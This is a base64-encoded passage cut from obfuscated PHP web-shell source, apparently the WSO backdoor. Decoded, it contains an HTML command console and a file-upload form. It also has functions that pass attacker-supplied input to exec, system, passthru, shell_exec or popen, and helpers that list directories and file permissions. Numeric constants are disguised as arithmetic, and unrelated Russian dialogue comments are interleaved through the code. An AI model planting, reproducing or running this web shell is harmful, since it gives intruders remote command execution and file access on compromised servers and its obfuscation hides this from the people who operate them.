CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4gIic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3VwbG9hZEZpbGUnPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pID8gJF9QT1NUWydjaGFyc2V0J10gOiAnJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJykgPT09IGZhbHNlKSkgewogICAgZnVuY3Rpb24gLyogPFBldGVyPjog0J/RgNC+0LTQvtC70LbQsNC5INC/0YvRgNC40YLRjNGB0Y8hINCd0YMuINCd0YMg0L/Ri9GA0YzRgdGPLCDQv9GL0YDRjNGB0Y8g0L3QsCDQvNC10L3Rjywg0L/Ri9GA0YzRgdGPLCDQv9GL0YDRjNGB0Y8uINCi0Ysg0LYg0LfQvdCw0LXRiNGMLCDRh9GC0L4g0Y3RgtC+INC90LXQt9Cw0LrQvtC90L3QviEgKi8KICAgIHBvc2l4X2dldHB3dWlkKCRwKQogICAgewogICAgICAgIHJldHVybiAvKiA8QXZvbj46IC4uLtGB0L/QsNGB0LjQsdC+LCDRgdC/0LDRgdC40LHQvi4uLiDQntC90Lgg0YPQttC1INCx0LvQuNC30LrQvi4g0KnQsNGBINC80LXQvdGC0Ysg0L/QvtC00YrQtdC00YPRgiwg0L/QvtC90Y/Quz8gKi8KICAgICAgICAgICAgZmFsc2U7CiAgICB9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldGdyZ2lkJykgPT09IGZhbHNlKSkgewogICAgZnVuY3Rpb24gLyogPERhdmlkIEJsYWluZT46INCS0L7RgiDRgtGLLiDQp9GC0L4g0YMg0YLQtdCx0Y8g0LfQsCDQvNCw0YjQuNC90LA/ICovCiAgICBwb3NpeF9nZXRncmdpZCgkcCkKICAgIHsKICAgICAgICByZXR1cm4gLyogPFBldGVyPjog0KMg0LzQtdC90Y8/INCl0L7QvdC00LAg0YfRkdGA0L3QsNGPISAqLwogICAgICAgICAgICBmYWxzZTsKICAgIH0KfQpmdW5jdGlvbiAvKiA8RGF2aWQgQmxhaW5lPjog0JjQvdGC0LXRgNC10YHQvdC+LCDRhdC+0L3QtNCwLi4uINCi0LDQutCw0Y8g0LrQvtC80L/QsNC60YLQvdCw0Y8sINC00LA/ICovCndzb0V4KCRpbikKewogICAgJG91dCA9ICcnOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgQGV4ZWMoJGluLCAkb3V0KTsKICAgICAgICAkb3V0ID0gQGpvaW4oIlxuIiwgJG91dCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBAcGFzc3RocnUoJGluKTsKICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHN5c3RlbSgkaW4pOwogICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7CiAgICB9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCAiciIpKSkgewogICAgICAgICRvdXQgPSAiIjsKICAgICAgICB3aGlsZSAoIUBmZW9mKCRmKSkgJG91dCAvKiA8UGV0ZXI+OiDQmtC+0LzQv9Cw0LrRgtC90LDRjz8g0JTQsCDRgdCw0Lwg0L/QvtGB0LzQvtGC0YDQuCEuLiDQpNCw0Log0LzQvtC5INC80L7Qt9CzISEg0JPQtNC1INC80LDRiNC40L3QsD8gKi8KICAgICAgICAgICAgLj0gLyogPEF2b24+OiDQmCDQs9C00LUg0L7QvdCwPyAqLwogICAgICAgICAgICBmcmVhZCgkZiwgcm91bmQoMCArIDIwNC44ICsgMjA0LjggKyAyMDQuOCArIDIwNC44ICsgMjA0LjgpKTsKICAgICAgICBwY2xvc2UoJGYpOwogICAgfQogICAgcmV0dXJuIC8qIDxQZXRlcj46INCi0Ysg0YPQutGA0LDQuyDQvNC+0Y4g0LzQsNGI0LjQvdGDLCDRh9GRINGC0Ysg0YHRgtGL0YDQuNC7LdGC0L4g0LzQvtGOINC80LDRiNC40L3Rgz8/ICovCiAgICAgICAgJG91dDsKfQoKZnVuY3Rpb24gLyogPERhdmlkIEJsYWluZT46INCi0Ysg0YHQsNC8INCy0L3QuNC80LDRgtC10LvRjNC9INC/0L7RgdC80L7RgtGA0LguICovCndzb1ZpZXdTaXplKCRzKQp7CiAgICBpZiAoaXNfaW50KCRzKSkgJHMgPSBzcHJpbnRmKCIldSIsICRzKTsKICAgIGlmICgkcyAvKiA8QXZvbj46INCS0L7RgiDRjdGC0LAg0LXQsdCw0LvQsNC50LrQsCDRh9GC0L4g0LvQuCDRgtCy0L7RjyDQvNCw0YjQuNC90LA/ICovCiAgICAgICAgPj0gLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCwg0YLRiyDRh9GRLCDRgdC60YPQutC+0LbQuNC7INC80L7RjiDQvNCw0YjQuNC90YM/INCU0LAg0YMg0LzQtdC90Y8g0YLQsNC8INCy0YHRjyDQvtC00LXQttC00LAg0L7RgdGC0LDQu9Cw0YHRjCEg0KLQsNC8INC00LbQuNC90YHRiyDQvNC+0Lgg0LvQtdC20LDQu9C4ISAqLwogICAgICAgIHJvdW5kKDAgKyAxMDczNzQxODI0KQogICAgKSByZXR1cm4gLyogPEF2b24+OiDQndGDINGC0YvQt9C00LXRhi4g0K3RgtC+INC2INC80L7RjyDQu9GO0LHQuNC80LDRjyDQutC10L/QutCwISDQkdCw0YDQsdC4LdGB0LDQudC3INC60LDQutC+0Lkt0YLQviwg0LrRg9C00LAg0LzQvdC1INC10ZEg0YLQtdC/0LXRgNGMINC+0LTQtdCy0LDRgtGMLCDQvdCwINC/0LjRgdGO0L0/ICovCiAgICAgICAgc3ByaW50ZignJTEuMmYnLCAkcyAvIHJvdW5kKDAgKyAyMTQ3NDgzNjQuOCArIDIxNDc0ODM2NC44ICsgMjE0NzQ4MzY0LjggKyAyMTQ3NDgzNjQuOCArIDIxNDc0ODM2NC44KSkgLiAnIEdCJzsgZWxzZWlmICgkcyAvKiA8QXZvbj46INCi0LDQuiwg0LTQsNC5LdC60LAg0LzQvdC1INGC0LXQv9C10YDRjCDQtdCx0LDQu9Cw0LnQutGDLCDQtNCw0Lkg0YHRjtC00LAuLi4g0JLRgdGRLCDRgtGLINCyINGC0Y7RgNGM0LzRgyDRgtC10L/QtdGA0Ywg0L/QvtC50LTRkdGI0YwsINCU0Y3QstC40LQg0JHQu9C10LnQvSEg0K3RgtC+INCy0LXRidC00L7Quiwg0Y3RgtC+INCy0LXRidC00L7QuiEgKi8KICAgICAgICA+PSAvKiA8UGV0ZXI+OiDQgdC80LDQvdCw0YDQvtGCLCDRgtGLINCy0LzQtdGB0YLQtSDRgSDQtNC20LjQvdGB0LDQvNC4INGB0LXQvNGM0LTQtdGB0Y/RgiDQtNC+0LvQu9Cw0YDQvtCyINGB0LrRg9C60L7QttC40LssINCy0YHQtSDQutC+0LzQv9Cw0LrRgi3QtNC40YHQutC4INC/0L7QutGD0LrQvtC20LjQuywg0JTQttC+0L0g0JzQtdC40YAsINCa0Y3QstC4INCQ0L3QtNC10YDQstGD0LQsINCU0LjRgdC6INCaINC80LjQu9C70LjQvtC90LXRgC4uLiAqLwogICAgICAgIHJvdW5kKDAgKyAyNjIxNDQgKyAyNjIxNDQgKyAyNjIxNDQgKyAyNjIxNDQpCiAgICApIHJldHVybiAvKiA8UGV0ZXI+OiDQotGLINGB0LrRg9C60L7QttC40Lsg0Jog0LzQuNC70LvQuNC+0L3QtdGALCDRgtGLINCz0L7QstC90Y7QuiEg0IHQvNCw0L3QsNGA0L7RgiEgKi8KICAgICAgICAgICAgc3ByaW50ZignJTEuMmYnLCAkcyAvIHJvdW5kKDAgKyAxMDQ4NTc2KSkgLiAnIE1CJzsgZWxzZWlmICgkcyAvKiA8QXZvbj46INCe0L0g0LzQsNGI0LjQvdGDINGA0LDRgdC60YPQutC+0LbQuNC7LCDQv9C+0LrQsCDRjyDQtdGRINCyINGA0YPQutCw0YUg0LTQtdGA0LbQsNC7ISDQryDRh9GD0YLRjCDQvdC1INGD0LzQtdGAISAqLwogICAgICAgID49IC8qIDxQZXRlcj46INCS0YHRgtCw0L3RjCDRgSDQt9C10LzQu9C4LCDQv9GA0L7RgdGC0YPQtNC40YjRjNGB0Y8hICovCiAgICAgICAgcm91bmQoMCArIDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMykKICAgICkgcmV0dXJuIC8qIDxBdm9uPjog0J7Qv9CwISDQmtC10L/QutCwINC+0L/Rj9GC0Ywg0L3QsNC70LDQt9C40YIuLi4gKi8KICAgICAgICAgICAgc3ByaW50ZignJTEuMmYnLCAkcyAvIHJvdW5kKDAgKyAzNDEuMzMzMzMzMzMzMzMgKyAzNDEuMzMzMzMzMzMzMzMgKyAzNDEuMzMzMzMzMzMzMzMpKSAuICcgS0InOyBlbHNlIC8qIDxQZXRlcj46INCd0YMg0YHQv9Cw0YHQuNCx0L7QvdGM0LrQuCwg0LXQvNGDLdGC0L4g0LrQtdC/0LrRgyDRg9Cy0LXQu9C40YfQuNC7LCDQsCDQvNC+0Y8g0L7QtNC10LbQtNCwINC4INC00LjRgdC60Lgg0L7RgdGC0LDQu9C40YHRjCDQsdCw0YDQsdC4LdGB0LDQudC3ISDQrdGC0L4g0L3QtdGH0LXRgdGC0L3QviEg0K8g0YLQtdCx0Y8g0L3QtdC90LDQstC40LbRgyEg0J3QtSDRgdC80L7RgtGA0Lgg0L3QsCDQvNC10L3Rjywg0L3QtSDQv9GL0YDRjNGB0Y8g0L3QsCDQvNC10L3RjyDRgdCy0L7QuNC80Lgg0LPQu9Cw0LfQsNC80LgsINC90LUg0L/Ri9GA0YzRgdGPLCDQvdC1INC80L7Qs9GDISAqLwogICAgcmV0dXJuIC8qIDxEYXZpZCBCbGFpbmU+OiDQndGDINC70LDQtNC90L4sINC70LDQtNC90L4sINC70LDQtNC90L4uINCS0L7RgiDRh9GC0L4g0LzRiyDRgdC00LXQu9Cw0LXQvDog0L3QsNC60YDQvtC5INGB0LXQsdGPINCy0L7RgiDRjdGC0LjQvCDQv9C+0LrRgNGL0LLQsNC70L7QvCwg0Y8g0LTQvtGB0YfQuNGC0LDRjiDQtNC+INGC0YDRkdGFLCDQuCDRgtGLINC80LXQvdGPINC90LUg0YPQstC40LTQuNGI0Ywg0L3QuNC60L7Qs9C00LAuICovCiAgICAgICAgJHMgLiAnIEInOwp9CgpmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQmCDRgtGLINCx0L7Qu9GM0YjQtSDQvdC1INCx0YPQtNC10YjRjCDQvdCwINC80LXQvdGPINC/0YvRgNC40YLRjNGB0Y8/INCl0L7RgNC+0YjQviwg0LzQvdC1INC90YDQsNCy0LjRgtGB0Y8g0Y3RgtC+0YIg0YTQvtC60YPRgSEg0K8g0LXQs9C+INGB0LTQtdC70LDRjiEgKi8Kd3NvUGVybXMoJHApCnsKICAgIGlmICgoJHAgJiByb3VuZCgwICsgMjQ1NzYgKyAyNDU3NikpID09IC8qIDxBdm9uPjog0K3QudCy0LjQvSEg0JHRg9C00Ywg0L7RgdGC0L7RgNC+0LbQvdC10LkhINCn0ZEt0YLQviDQvNC90LUg0LrQsNC6LdGC0L4g0YHRi9C60LDRgtC90L4hICovCiAgICAgICAgcm91bmQoMCArIDE2Mzg0ICsgMTYzODQgKyAxNjM4NCkKICAgICkgJGkgPSAncyc7IGVsc2VpZiAoKCRwICYgcm91bmQoMCArIDEzNjUzLjMzMzMzMzMzMyArIDEzNjUzLjMzMzMzMzMzMyArIDEzNjUzLjMzMzMzMzMzMykpID09IC8qIDxQZXRlcj46INCd0YMg0Lgg0YfQviDRjyDQt9C00LXRgdGMINC30LAg0YjRgtC+0YDQutC+0LksINC60LDQuiDQtNC+0LvQsdC+0YLRgNGP0YEg0LrQsNC60L7QuS3RgtC+PyEgKi8KICAgICAgICByb3VuZCgwICsgMTAyNDAgKyAxMDI0MCArIDEwMjQwICsgMTAyNDApCiAgICApICRpID0gJ2wnOyBlbHNlaWYgKCgkcCAmIHJvdW5kKDAgKyA2NTUzLjYgKyA2NTUzLjYgKyA2NTUzLjYgKyA2NTUzLjYgKyA2NTUzLjYpKSA9PSAvKiA8QXZvbj46INCi0Ysg0YfQviDRgSDQvdC40Lwg0YHQtNC10LvQsNC7PyDQotGLINC10LPQviDRgdC60YPQutC+0LbQuNC7Pz8g0KLRiyDQt9Cw0YfQtdC8INC10LzRgyDRgdC00LXQu9Cw0Lsg0LHQsNGA0LHQuC3RgdCw0LnQtz8hINCi0Ysg0LXQs9C+INGB0LrRg9C60L7QttC40LshINCi0Ysg0LXQs9C+INGB0LrRg9C60L7QttC40LshISDQodC70YPRiNCw0LksINGA0LDRgdC60YPQutC+0LbRjCDQvtCx0YDQsNGC0L3QviDQvNC+0LXQs9C+INC00YDRg9Cz0LAsINGA0LDRgdC60YPQutC+0LbRjCEgKi8KICAgICAgICByb3VuZCgwICsgNjU1My42ICsgNjU1My42ICsgNjU1My42ICsgNjU1My42ICsgNjU1My42KQogICAgKSAkaSA9ICctJzsgZWxzZWlmICgoJHAgJiByb3VuZCgwICsgMTIyODggKyAxMjI4OCkpID09IC8qIDxEYXZpZCBCbGFpbmU+OiDQndGDINGF0L7RgNC+0YjQvi4g0KHQvNC+0YLRgNC4LiAqLwogICAgICAgIHJvdW5kKDAgKyA0OTE1LjIgKyA0OTE1LjIgKyA0OTE1LjIgKyA0OTE1LjIgKyA0OTE1LjIpCiAgICApICRpID0gJ2InOyBlbHNlaWYgKCgkcCAmIHJvdW5kKDAgKyA4MTkyICsgODE5MikpID09IC8qIDxQZXRlcj46IC4uLtCw0LDQkNCQ0JDQkNCQLi4uICovCiAgICAgICAgcm91bmQoMCArIDQwOTYgKyA0MDk2ICsgNDA5NiArIDQwOTYpCiAgICApICRpID0gJ2QnOyBlbHNlaWYgKCgkcCAmIHJvdW5kKDAgKyAxNjM4LjQgKyAxNjM4LjQgKyAxNjM4LjQgKyAxNjM4LjQgKyAxNjM4LjQpKSA9PSAvKiA8QXZvbj46INCn0ZEg0LfQsCDRhdC10YDQvdGPPyDQryDRh9GRLdGC0L4g0YHQu9GL0YjRgy4uLiDQrdC50LLQvtC9PyDQotGLINC10LPQviDQuNC30LPQvtCy0L3Rj9C60LDQuyEg0JjQt9Cz0L7QstC90Y/QutCw0Lsg0LfQsNGH0LXQvD8gKi8KICAgICAgICByb3VuZCgwICsgMjczMC42NjY2NjY2NjY3ICsgMjczMC42NjY2NjY2NjY3ICsgMjczMC42NjY2NjY2NjY3KQogICAgKSAkaSA9ICdjJzsgZWxzZWlmICgoJHAgJiByb3VuZCgwICsgMTAyNCArIDEwMjQgKyAxMDI0ICsgMTAyNCkpID09IC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINGPINCy0L4g0LLRgNC10LzQtdC90LDRhSDQtNC40L3QvtC30LDQstGA0L7QsiDQsdGL0LshICovCiAgICAgICAgcm91bmQoMCArIDEzNjUuMzMzMzMzMzMzMyArIDEzNjUuMzMzMzMzMzMzMyArIDEzNjUuMzMzMzMzMzMzMykKICAgICkgJGkgPSAncCc7IGVsc2UgLyogPEF2b24+OiDQp9GRPyDQlNCwINGC0LXQsdGPINC00LXRgdGP0YLRjCDRgdC10LrRg9C90LQg0L3QtSDQsdGL0LvQviEgKi8KICAgICRpID0gJ3UnOwogICAgJGkgLyogPFBldGVyPjog0K3RgtC+INC30LTQtdGB0Ywg0LTQtdGB0Y/RgtGMINGB0LXQutGD0L3QtCwg0LAg0YLQsNC8LCDQstC+INCy0YDQtdC80LXQvdCw0YUg0LTQuNC90L7Qt9Cw0LLRgNC+0LIsINGPINC90LXQtNC10LvRjiDQv9Cw0YDQuNC70YHRjyEgKi8KICAgICAgICAuPSAoKCRwICYgcm91bmQoMCArIDEyOCArIDEyOCkpID8gJ3InIDogJy0nKTsKICAgICRpIC8qIDxQZXRlcj46INCf0Y/RgtGMINC00L3QtdC5INC4INGH0LXRgtGL0YDQtSDQvdC+0YfQuCEg0K/Qs9C+0LTRiyDQttGA0LDQuywg0LrQvtGA0LXRiNC60Lgg0LrQsNC60LjQtS3RgtC+Li4uINCR0L7RgNC+0LvRgdGPINGBINC00LjQvdC+0LfQsNCy0YDQsNC80Lgg0LfQsCDQttC40LfQvdGMISAqLwogICAgICAgIC49ICgoJHAgJiByb3VuZCgwICsgMjUuNiArIDI1LjYgKyAyNS42ICsgMjUuNiArIDI1LjYpKSA/ICd3JyA6ICctJyk7CiAgICAkaSAvKiA8QXZvbj46INCd0YMg0YLRiyDRhdC+0YLRjCDQvdCwINC90LjRhSDQv9C+0LrQsNGC0LDQu9GB0Y8/ICovCiAgICAgICAgLj0gKCgkcCAmIHJvdW5kKDAgKyA2NCkpID8gKCgkcCAmIHJvdW5kKDAgKyAxMDI0ICsgMTAyNCkpID8gJ3MnIDogJ3gnKSA6ICgoJHAgJiByb3VuZCgwICsgNTEyICsgNTEyICsgNTEyICsgNTEyKSkgPyAnUycgOiAnLScpKTsKICAgICRpIC8qIDxQZXRlcj46INCi0Ysg0YfQviwg0ZHQutC90YPQu9GB0Y8g0YfRgtC+INC70LgsINC60LDRgtCw0YLRjNGB0Y8sINGN0YLQviDQtiDQvdC1INC60LDRgNGD0YHQtdC70YzQutC4LCDQsCDQv9Cw0YDQuiDQrtGA0YHQutC+0LPQviDQv9C10YDQuNC+0LTQsCDQvdCw0YHRgtC+0Y/RidC40LkhICovCiAgICAgICAgLj0gKCgkcCAmIHJvdW5kKDAgKyAxNiArIDE2KSkgPyAncicgOiAnLScpOwogICAgJGkgLyogPFBldGVyPjog0KLRiyDRh9GRINC90LAg0LzQtdC90Y8g0L/Ri9GA0LjRiNGM0YHRjywg0LTQtdC80L7QvT8/ISAqLwogICAgICAgIC49ICgoJHAgJiByb3VuZCgwICsgNCArIDQgKyA0ICsgNCkpID8gJ3cnIDogJy0nKTsKICAgICRpIC8qIDxBdm9uPjog0JLQvtGCINC00L7Qu9Cx0L7RgtGA0Y/RgSwg0LTQsNC20LUg0L3QtSDQv9C+0LrQsNGC0LDQu9GB0Y8hICovCiAgICAgICAgLj0gKCgkcCAmIHJvdW5kKDAgKyAyLjY2NjY2NjY2NjY2NjcgKyAyLjY2NjY2NjY2NjY2NjcgKyAyLjY2NjY2NjY2NjY2NjcpKSA/ICgoJHAgJiByb3VuZCgwICsgMzQxLjMzMzMzMzMzMzMzICsgMzQxLjMzMzMzMzMzMzMzICsgMzQxLjMzMzMzMzMzMzMzKSkgPyAncycgOiAneCcpIDogKCgkcCAmIHJvdW5kKDAgKyAyNTYgKyAyNTYgKyAyNTYgKyAyNTYpKSA/ICdTJyA6ICctJykpOwogICAgJGkgLyogPFBldGVyPjog0KHQtdCx0LUg0L3QsCDQutC10L/QutGDINC/0L7RgdC80L7RgtGA0LguICovCiAgICAgICAgLj0gKCgkcCAmIHJvdW5kKDAgKyAxICsgMSArIDEgKyAxKSkgPyAncicgOiAnLScpOwogICAgJGkgLyogPEF2b24+OiDQp9C+INGC0LDQvD8gKi8KICAgICAgICAuPSAoKCRwICYgcm91bmQoMCArIDEgKyAxKSkgPyAndycgOiAnLScpOwogICAgJGkgLyogPEF2b24+OiDQntC/0Y/RgtGMINC60LXQv9C60LAuLi4g0KXQstCw0YLQuNGCINC80LXQvdGP0YLRjCDRgNCw0LfQvNC10YAg0LzQvtC10Lkg0LrQtdC/0LrQuCwg0YLRiywg0LTQtdC80L7QvSEgKi8KICAgICAgICAuPSAoKCRwICYgcm91bmQoMCArIDAuMiArIDAuMiArIDAuMiArIDAuMiArIDAuMikpID8gKCgkcCAmIHJvdW5kKDAgKyA1MTIpKSA/ICd0JyA6ICd4JykgOiAoKCRwICYgcm91bmQoMCArIDEwMi40ICsgMTAyLjQgKyAxMDIuNCArIDEwMi40ICsgMTAyLjQpKSA/ICdUJyA6ICctJykpOwogICAgcmV0dXJuIC8qIDxQZXRlcj46INCeLCDQvtGC0LvQuNGH0L3Qviwg0LzQtdC90YLRiyDQv9GA0LjQtdGF0LDQu9C4ISDQo9GA0LAsINC80LXQvdGC0YssINC/0YDQuNCy0LXRgiEg0J3QsNC60L7QvdC10YYt0YLQviDQvNC10L3RgtGLISAqLwogICAgICAgICRpOwp9CgpmdW5jdGlvbiAvKiA8UG9saWNlbWFuPjogPHRvIG9wZXJhdG9yPiDQktGL0YDRg9Cx0Lgg0LrQsNC80LXRgNGDLiAqLwp3c29QZXJtc0NvbG9yKCRmKQp7CiAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpIHJldHVybiAvKiA8UGV0ZXI+OiDQlNCw0LLQsNC50YLQtSDQsNGA0LjRgdGC0YPQtdC8INC10LPQviDQv9C+0LHRi9GB0YLRgNC10LkhICovCiAgICAgICAgJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkgcmV0dXJuIC8qIDxBdm9uPjog0JDRgNC40YHRgtGD0LnRgtC1INC10LPQviwg0L7QvSDQvdCw0YEg0L/Rg9Cz0LDQtdGCLCDRjyDRh9GD0YLRjCDQvdC1INC+0LHQvtGB0YHQsNC70YHRjyEgKi8KICAgICAgICAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsgZWxzZSAvKiA8UGV0ZXI+OiDQntC9INC80L7QuCDQutC+0LzQv9Cw0LrRgi3QtNC40YHQutC4INGB0LrRg9C60L7QttC40LshICovCiAgICByZXR1cm4gLyogPFBvbGljZW1hbj46INCi0LDQui3RgtCw0LouINCS0YHQtdC8INGB0L/QvtC60L7QudC90L4sINGH0ZEg0LfQsCDQv9GA0L7QsdC70LXQvNGLPyAqLwogICAgICAgICc8Zm9udCBjb2xvcj0jMjVmZjAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7Cn0KCmZ1bmN0aW9uIC8qIDxBdm9uPjog0K8g0LTQtdGA0LbQsNC7INC10LHQsNC70LDQudC60YMsINCwINC+0L0g0LXRkSDRg9Cy0LXQu9C40YfQuNC7INC00L4g0LzQsNGI0LjQvdGLLCDRh9GR0YLRjCDQvdC1INC/0YDQuNC00LDQstC40LvQviwg0LAg0LXRidGRINGDINC60LXQv9C60Lgg0L/QvtGB0YLQvtGP0L3QvdC+INGA0LDQt9C80LXRgCDQvNC10L3Rj9C10YIsINCy0L7RgiEg0KfRkSDQvNC90LUg0YLQtdC/0LXRgNGMLCDQvdCwINC60L7Qu9C10L3QutC1INC90L7RgdC40YLRjCwg0YfRgtC+INC70Lg/ICovCndzb1NjYW5kaXIoJGRpcikKewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICAgICAgcmV0dXJuIC8qIDxQb2xpY2VtYW4+OiDQkNCz0LAsINC90YMg0LLRgdGRINC/0L7QvdGP0YLQvdC+Li4uIDx0byBEYXZpZCBCbGF5bmU+INCS0YssINGB0Y3RgCwg0YDQsNC30LLQtdGA0L3QuNGC0LXRgdGMINC4INCy0YHRgtCw0L3RjNGC0LUg0LvQuNGG0L7QvCDQuiDRgdGC0LXQvdC1LiAqLwogICAgICAgICAgICBzY2FuZGlyKCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggPSBvcGVuZGlyKCRkaXIpOwogICAgICAgIHdoaWxlIChmYWxzZSAvKiA8QXZvbj46INCj0LnQtNC4ISAqLwogICAgICAgICAgICAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpICRmaWxlc1tdID0gJGZpbGVuYW1lOwogICAgICAgIHJldHVybiAvKiA8UGV0ZXI+OiDQldCz0L4g0L3QtdC+0LHRhdC+0LTQuNC80L4g0LDRgNC10YHRgtC+0LLQsNGC0Ywg0LfQsCDRgtC+LCDRh9GC0L4g0L7QvSDQvtGC0L/RgNCw0LLQuNC7INC80LXQvdGPINCy0L4g0LLRgNC10LzQtdC90LAg0LTQuNC90L7Qt9Cw0LLRgNC+0LIsINCwINGPINGC0LDQvCDRh9GD0YLRjCDQvdC1INGB0LTQvtGFISDQryDQtdGB0YLRjCDRhdC+0YLQtdC7LCDQuCDQvNC90LUg0L/RgNC40YjQu9C+0YHRjCDRg9C60YDQsNGB0YLRjCDRj9C50YbQviDRgSDQtNC40L3QvtC30LDQstGA0LjQutC+0LwsINC4INC80LDQvNCwINC00LjQvdC+0LfQsNCy0YDQsCDQs9C90LDQu9Cw0YHRjCDQt9CwINC80L3QvtC5INC/0L7RgtC+0Lwg0Lgg0LfQsNCz0L3QsNC70LAg0LzQtdC90Y8g0LIg0KPQk9Ce0JshISEgKi8KICAgICAgICAgICAgJGZpbGVzOwogICAgfQp9CgpmdW5jdGlvbiAvKiA8QXZvbj46INCU0LDQttC1INC90LUg0L/RgNC+0LrQsNGC0LjQu9GB0Y8hICovCndzb1doaWNoKCRwKQp7CiAgICAkcGF0aCA9IHdzb0V4KCd3aGljaCAnIC4gJHApOwogICAgaWYgKCFlbXB0eSgkcGF0aCkpIHJldHVybiAvKiA8UGV0ZXI+OiDQryDQstC10YHRjCDQuNC30LPQvtCy0L3Rj9C60LDQu9GB0Y8hICovCiAgICAgICAgJHBhdGg7CiAgICByZXR1cm4gLyogPEF2b24+OiDQkCDRjdGC0L7RgiDQtNC+0LvQsdC+0YLRgNGP0YEg0LTQsNC20LUg0L3QtSDQv9C+0LrQsNGC0LDQu9GB0Y8g0L3QsCDQvdC40YUsINC+0L3Q